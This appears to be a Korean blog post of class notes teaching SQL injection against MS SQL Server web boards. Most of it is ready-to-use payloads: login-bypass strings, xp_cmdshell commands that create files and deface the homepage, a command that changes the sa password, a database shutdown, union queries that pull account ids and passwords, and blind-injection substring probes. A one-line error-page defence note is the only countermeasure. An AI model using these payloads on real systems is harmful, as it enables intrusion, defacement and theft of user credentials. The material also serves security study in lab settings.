2014. 11. 12. 13:22
336x280(권장), 300x250(권장), 250x250, 200x200 크기의 광고 코드만 넣을 수 있습니다.

1. 인증우회 


(1) 우회 패턴


or 'abc'='abc'

or 'ab'='a'+'b'

or 2>1

or 1=1


(2) 주석문 이용 우회


'--

)'--

';--



2. 시스템 명령어 실행


두가지 이상 명령어를 실행할때에는 세미콜론(;)을 사용한다.

exec : sql문이나 프로시저를 실행할 때 앞에 위치하여 사용하는 명령어.



[폴더생성] admin';exec master..xp_cmdshell 'md c:\inetpub\wwwroot\board\abc'--

       -> mkdir



[파일생성] ';exec master..xp_cmdshell 'echo defaced by SSS > c:\inetpub\wwwroot\index.html'--   

[HTML 페이지 생성] admin';exec master..sp_makewebtask 'c:\inetpub\wwwroot\sql.html','select * from board..member'--

[암호변경] ';exec sp_password '111111','222222','sa'--

[DB 다운 ] 'shutdown--

         


3. 테이블 명 획득


- group by 절이 어떤 칼럼을 기준으로 그룹을 만들때 having은 결과를 한번더 필터링하는 역할을한다.

  select절의 where와 비슷하다.


[테이블 및 필드명 획득] 'having 1=1--


 

4. 컬럼 명 획득


- 컬럼명을 추가적으로 획득하기 위해서는 최소한 하나의 컬럼을 알고 있어야 한다.


[다른 필드명 획득] 'group by [컬럼명]--



[추가 필드명 획득 'group by [컬럼명],[컬럼명]--


    .

    .

    . 

    .

    .

    .

    .

    .

[실습] member 테이블과 bbs 테이블 컬럼명을 모두 추출하시오.



5. 컬럼 타입 획득


- UNION과 sum() 함수를 이용하여 필드 타입을 알 수 있다.



[쿼리분석기] select sum(idx) from member


[쿼리분석기] select sum(bId) from member


[컬럼 데이터형 획득] 'union select sum(bId) from member



[실습] member 테이블과 bbs 테이블 컬럼의 데이터형을 모두 추출하시오.




6. 계정 획득하기


- 테이블 명과 컬럼명을 획득한 후, union 연산을 통해 결과 값이 게시판에 출력할 수 있다.


- union 은 복합적인 쿼리의 결과를 합하여 출력하기 때문에 필드의 개수가 일치해야 하고, 

  필드의 타입이 일치해야 한다.


  # union 은 중복데이터를 하나만 표기, union all 은 중복데이터를 모두 표시



[실습] 마구마구 게시판에 존재하는 모든 계정의 id,pw를 획득하시오.




7. 테이블 내용 조작하기(계정추가하기)


[실습] sql injection을 사용해서 계정을 추가해보자.



-----------



1. 에러 구문 발생 

  group by having 

'having 1=1--

 -> 테이블명 첫번째 컬럼 확인 





2. 컬럼명을 추출

group by : 특정 컬럼을 집계/요약하기 위해 사용


'group by idx--

member.bId

idx,Bid,bPass????


'group by idx,bId,bPass, ~~~bDate--




'group by idx, bId, bPass, bName,bPost, bAddr1,bAddr2, bPhone, bMail, bDate --

 -> 해당 컬럼 수 확인 에러가 아니라 팝업창이 뜨는 걸 보고 확인 




' group by idx, tId, tName, tMail, tTitle, tContent, tfilename, tfilepath, tRead, tDate--

-> 검색창에서 컬럼 수 확인 


'order by 10 --

    -> 추측한 컬럼수가 맞는지 확인 

-> 9도 문제 없이 뜨지만 실질적으로는 에러 나기 전까지가 컬럼의 개수이다



 2. 컬럼명 데이터 추출


'union select 1, 2, nul,null,null...   -> 컬럼의 데이터 타입 확인 


'union select 1,'a','b','c','d','e','f','g','h',1 from member --





sql 1차.txt


sql 2차(1).txt


-----------


방어 


404 : 요청한 페이지를 찾을 수 없다 ( 클라이언트 오류-요청에 대한 오류)

500 : 서버 오류 


-> 500,500;100 에러를 404에러로 바꾸어서 에러가 뜨지 않게 방어 

-> 제어판 -> 관리 도구 -> 인터넷 서비스 관리자 -> 해당서버 등록 정보 -> 오류 처리 탭



------



Blind SQL Injection 

-> 에러 구문이 없어도 공격 가능 



' and 1=1--

' and 1=2--



1. db명

' and db_name()='board'--

' and db_name()='board'--


' and substring(db_name(),1,1)='b'--

' and substring(db_name(),2,1)='o'--

' and substring(db_name(),3,1)='a'--

' and substring(db_name(),4,1)='r'--

' and substring(db_name(),5,1)='d'-- 


...


' and substring(db_name(),8,1)=''--   // db명 문자 수 확인 


substring 함수 : 문자열에서 특정 부분을 반환하는 함수 

substring(가져올 문자열, 시작할 순서, 가져올 문자수)



2. 테이블명


select * from sysobjects;


xtype

u : 사용자 테이블

s : 시스템 테이블

l : 로그 

v : 뷰


select * from sysobjects where xtype='U'; 

select name from sysobjects where xtype='U'; 

select top 1 name from sysobjects where xtype='U'; 

   -> 맨 위에 것만 


member 

bbs


' and substring((select top 1 name from sysobjects where xtype='U'),1,1)='m'--

' and substring((select top 1 name from sysobjects where xtype='U'),6,1)=''--


sysobjects : db에서 만들어진 각 개체에 대한 정보 조회 

      컬럼에 대한 정보를 포함 테이블을 가져올 때 사용



3. 컬럼 

select * from syscolumns

syscolumns : 모든 테이블 및 뷰의 모든 컬럼에 대한 한 레코드 값 확인 

select * from sysobjects where xtype='U';



select * from syscolumns where id=(select id from sysobjects where name like 'member');


select name from syscolumns where id=(select id from sysobjects where name like 'member');


select top 3 name from syscolumns where id=(select id from sysobjects where name like 'member');



select * from syscolumns where id=(select id from sysobjects where name like 'bbs');





select substring((select top 1 name from syscolumns where id=(select id from sysobjects where name like 'member')),1,1);


' and substring((select top 1 name from syscolumns where id=(select id from sysobjects where name = 'member')),1,1)='b'--



------------


http://testasp.vulnweb.com/showforum.asp?id=0



'and select * from sysobjects --


'group by uname --

'group by uname, upass --


uname  upass



...

...





'Web' 카테고리의 다른 글

wapple / APT  (0) 2014.11.14
SQL / personal data  (0) 2014.11.13
SQL Injection  (0) 2014.11.11
file download  (0) 2014.11.10
webshell and defense of it  (0) 2014.11.06
Posted by af334